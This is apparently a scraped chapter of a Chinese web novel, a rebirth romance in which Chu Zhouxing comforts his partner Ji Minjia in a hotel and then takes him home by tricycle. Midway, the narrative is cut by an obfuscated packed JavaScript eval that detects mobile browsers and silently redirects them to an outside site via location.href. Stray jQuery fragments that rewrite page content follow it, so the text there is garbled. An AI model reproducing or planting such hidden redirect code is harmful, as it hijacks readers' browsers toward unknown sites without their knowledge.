浴室。
擦掉镜面上的水渍,楚州行直直注视着镜中的自己。
神态冷漠。
垂视如剑锋,明明没什么表情,却给人无法忽视的威压。
眉眼还是二十一岁的模样,却再也回不到舒朗青春的状态。
楚州行转身,背对浴镜,坐到洗手台上。从抽屉里找到一包待售的新烟,翻出打火机,叼了根咬在嘴里。
他不喜欢抽烟,除非特别心烦。
咔嚓。
他低头拢住火,烟点燃,楚州行仰面,吐出一口薄薄的烟气,若隐若现的猩红烟头,一丝一缕的白烟随气流上腾,他被呛得不停咳嗽。
这具身体还不习惯尼古丁,抽第一口,身体就疯狂排斥。
楚州行夹着烟,按着额头,不知道在想什么。
重生并不代表一切抹平后重新开始,过去的记忆无时无刻都在提醒他——他是几十年后的幽魂。
楚州行有些惆怅。
这世界除了他还有别的重生者吗?他很想问问他们,如何稳定自己的情绪?
想起纪敏嘉担忧的目光,楚州行不停地揉眉心。他很想将过去的记忆完全剖出,将上辈子与现在分离。
可,他真的做不到。
上辈子的记忆太痛太深刻,他无论如何也忘不掉。
手腕残留着纪敏嘉带来的温度,他努力对镜微笑。
他告诉自己要正常点,不能被突如其来的情绪影响,不能像上辈子——
上辈子,他整晚整晚睡不着,时喜时悲,无力控制情绪。他知道,自己肯定有很严重的心理疾病,只不过失去挚爱,他不想治疗。
活着都没意义,那活得好不好根本没区别。
这辈子,楚州行不是一个人。他有爱他的纪敏嘉,还有家人,为了他们,他不能重蹈覆辙。
他不能把自己变成疯子。
.
洗完澡,楚州行没有用电吹风,只是简单地对着空调出风口吹了吹。
他怕噪音吵醒纪敏嘉。
回到卧室,纪敏嘉蜷缩着身体,卧趴在床上,他明显在装睡,听到楚州行的脚步声,他的睫毛颤了颤,楚州行走到床边,俯视纪敏嘉的睡颜,见他拱成一团,只露脑袋在被子外面,顿时心软得不行。
楚州行轻轻倒在床上,隔着被子,一下将纪敏嘉搂抱在怀里,酒店的被子又薄又硬,纪敏嘉的身体却是柔软的,楚州行轻轻拍了拍纪敏嘉的后背,“敏嘉——”声音温柔,轻轻地喊着纪敏嘉的名字。
纪敏嘉的睫毛又颤了颤,小心翼翼地掀开眼皮偷瞄楚州行。
又紧紧闭上。
感受着怀抱的重量,不知为何,楚州行脑海里突然想到一个成语,相依为命。
他和纪敏嘉就像两只流浪狗,在一个陌生残酷的黑暗森林里互相依偎。
他们没有坚硬的爪子,也没有高超的捕猎技巧,就这样组成一个家。纪敏嘉有柔软的皮毛,楚州行冷的时候,他会团在身侧,为他取暖。
楚州行突然找到了活着的意义,上辈子他真的好孤独,活着就只是活着。
“我们不会再分开了”楚州行亲亲纪敏嘉的头发,床嘎吱一声,他将脸埋在纪敏嘉的颈窝处,很久,他一动不动,好像睡着了。
纪敏嘉藏在被子里手指握成拳,手心全是细腻的汗,他也不敢动。
隔着一层粗糙的被子,纪敏嘉被楚州行抱着,像在茧里,很安全很温暖。
他本来是打算等楚州行上床时突然睁开眼睛给他一个惊喜,他已经想象过楚州行看他的眼神,可当他被楚州行抱住,感受身边均匀的呼吸,纪敏嘉的心疼了起来。
楚哥太累了。
这些天他瘦了很多,纪敏嘉看在眼里疼在心里,以前纪敏嘉摸楚州行的手臂摸不到他的血管,现在他甚至能摸到楚州行的心跳。
他心里难受,想:等把阿姨接来帝都,就找个理由回老家把房子卖了,哪怕卖便宜点也没关系。还可以去找份夜班工作,夜市一条街开起来,很多烧烤店缺临时工。
他不怕辛苦......
纪敏嘉睁开眼睛,他安静地注视着楚州行的鼻梁、嘴唇,楚州行的腰很细,陷在被子里是一种脆弱的感觉,让纪敏嘉想起他伏在自己身上的姿势,好几次,纪敏嘉很想回抱住楚州行的腰、将脸埋在他怀里。
楚哥......
纪敏嘉将手臂从被子里抽出来,他慢慢地凑到楚州行身边,抓着被子边缘处,轻轻往楚州行身上裹。
就像平底锅煎鸡蛋,只要手腕轻轻一甩,就能将锅里的煎蛋翻面。
他温柔地翻到楚州行身上,见被子完全裹住了楚州行,他特别开心地伏在楚州行的肩膀上,蹭了一下。
蹭了一下,又想蹭第二下。
纪敏嘉告诉自己,最多只能蹭两下,他幸福地用脸颊磨蹭着楚州行的肩头,蹭着蹭着,楚州行忽然侧过脸,就这样,对上纪敏嘉的眼睛。
纪敏嘉一下僵住了。“我......吵醒你了?”
楚州行摇摇头,他伸展手臂,裹着被子抱住了纪敏嘉,紧紧将他抱满怀,“我没睡着。”
纪敏嘉被他包成一团,心疼地问:“不累?”
楚州行笑得很温柔,眼睛里有亮晶晶的光,“有点累,申请充个电,可以吗?”
“啊?”纪敏嘉不太理解他的意思,愣愣的。
楚州行用行动回答了他,他吻住了纪敏嘉的唇,轻轻地,纪敏嘉只感觉到他嘴唇的温度,力道太轻了,轻得纪敏嘉还没清醒过来。
这次,楚州行吻得很克制,他像耗尽能量的机器人,插上充电口就进入待机模式。
纪敏嘉能感觉到楚州行轻轻吮吸着,好似真的要从他这里抽走点精气。
纪敏嘉呆呆的,想起什么,他略微皱眉,似乎心里做着激烈的思想斗争,没一会儿,纪敏嘉做出一个决定,表情也坚定起来,他将手臂抽出来,很坚决地捧着楚州行的脸。
主动将唇送上去,随后——他深吸一口气,就往楚州行嘴里吹。
楚州行一愣,任由纪敏嘉的气息与自己纠缠,那口气吹进他的气管里,他嗓子眼痒得想笑,却抱得更用力。
楚州行笑,纪敏嘉也跟着窃笑,两人抱着亲、翻滚、嘴唇时而紧紧贴在一起,不知吻了多久,两个人都累了,他们也都滚到了被子里。
楚州行气息有点乱,他吻了吻纪敏嘉的额头,“休息。”
纪敏嘉缩在他怀里,幸福地闭上眼睛,“嗯。”
楚哥,晚安。
迷迷糊糊中,他似乎听到楚州行在说:“你是我的药......有你在,我永远不会疯掉。”
.
“楚哥,走吗?”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15691016|173344||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
纪敏嘉紧紧握着拉杆,侧过脸看楚州行。
他们面前是一辆红色的三蹦子,坐在驾驶座上的矮小瘦弱的中年人正激动地说着什么,楚州行时不时用土话回一句。
纪敏嘉听不懂,偷看中年人的脸色,看他涨红了脸、吐沫横飞,两人好像在吵架,他有些无措地往楚州行身边挪了点。
楚州行安抚地拍了拍他的肩,“我们在聊价格。”他又对中年人说了几句,凶神恶煞的司机立马换了一副表情,热情地帮他们扛行李。
他讨好地朝纪敏嘉笑了笑,又说了句什么,纪敏嘉茫然地看向楚州行。
“他夸你长得帅,祝你在我们这里玩得开心。”
上了车,楚州行也不客气,直接拿车厢里的橘子剥给纪敏嘉吃,跟他解释,“我们这边的方言就这样,听起来很凶,像吵架,你别害怕。”
“嗯嗯,我不怕。”纪敏嘉拿着橘子瓣又不敢吃。
“吃吧,不值钱,我们这里家家都种橘子,卖不掉就自己吃,我小时候吃橘子吃到害怕。”
纪敏嘉吃了一瓣,又拿了一瓣,“很甜,很好吃。”
“喜欢就多吃点。”
“就吃一个,我要留着肚子吃你家的橘子。”
楚州行低着头细心地去掉白色的橘络,纪敏嘉不爱吃这种筋络,一瓣瓣橘子被他剥得干干净净、橙黄橙黄的。“那你可有得吃了——我家屋前屋后都有橘子树。”
他凑近,贴着纪敏嘉的耳朵,调戏,“等你进门了,我家的橘子都不卖,都留给你。”
纪敏嘉一时没听懂,好一会儿,他才反应过来,脸羞得燥红。
而楚州行一直注视着他的表情变化,哈哈笑起来。
三蹦子“突突突”卖力地爬山。
今天是个好天气,山风微凉,吹得人心情愉悦。
楚州行问纪敏嘉:“喜欢这儿?”
纪敏嘉欣赏窗外的风景,他将车窗完全推开,呼吸着新鲜的空气,“嗯,我好喜欢,这里好多好多花,风都是甜的。”
道路两旁,无人打理的野菊花大片大片盛开,黄的、紫的、白的。
“喜欢?我去摘一点?”
“不要。”纪敏嘉拼命摇头,“不要让阿姨等久了。”
楚州行笑着摸摸他的脑袋,“我没跟她们说我到家了。”
“啊?”纪敏嘉吓得橘子都不吃了,“你直接把我带回去?”
见他瞪着圆溜溜的眼睛,楚州行故意逗他:“是啊,你不要害怕,我妈脾气很好的。”
纪敏嘉明显慌了,他没兴致看风景,追着楚州行问:“阿姨喜欢什么样的人?”
一边说话,他慌里慌张地不知道在想什么。
楚州行故作沉思状,“喜欢......成绩优秀的好学生。”
纪敏嘉脸色瞬间白了,他攥紧手,一副“我完蛋了”的可怜模样。
他不是学生,更不是好学生。
即便慌得发抖,他自始至终都没想过编个人设去骗人。
见他六神无主的可怜样,楚州行也不忍心逗他了,他很认真地说,“你什么样,我妈都会喜欢的。”
姚莉是个很好的母亲,楚州行喜欢什么,她都会尊重。
纪敏嘉像抓住救命稻草般抬起头,“真的?”
楚州行捏了捏他的鼻子,“真的。”